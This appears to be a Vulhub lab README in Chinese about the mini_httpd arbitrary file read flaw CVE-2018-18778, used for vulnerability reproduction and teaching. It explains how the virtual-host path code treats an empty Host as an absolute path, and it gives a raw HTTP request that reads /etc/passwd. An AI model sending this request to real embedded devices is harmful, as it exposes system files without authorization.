Files
vulhub/mini_httpd/CVE-2018-18778/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

52 lines
1.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# mini_httpd 任意文件读取漏洞CVE-2018-18778
Mini_httpd是一个微型的Http服务器在占用系统资源较小的情况下可以保持一定程度的性能约为Apache的90%因此广泛被各类IOT路由器交换器摄像头等作为嵌入式服务器。而包括华为zyxel海康威视树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。
在mini_httpd开启虚拟主机模式的情况下用户请求`http://HOST/FILE`将会访问到当前目录下的`HOST/FILE`文件。
```c
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
```
见上述代码,分析如下:
- 当HOST=`example.com`、FILE=`index.html`的时候,上述语句结果为`example.com/index.html`,文件正常读取。
- 当HOST为空、FILE=`etc/passwd`的时候,上述语句结果为`/etc/passwd`
后者被作为绝对路径,于是读取到了`/etc/passwd`,造成任意文件读取漏洞。
参考链接ss
- https://nvd.nist.gov/vuln/detail/CVE-2018-18778
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18778.yaml
## 环境搭建
执行如下命令启动mini_httpd 1.29
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到Web页面。
## 漏洞复现
发送请求是将Host置空PATH的值是文件绝对路径
```
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
成功读取文件:
![](1.png)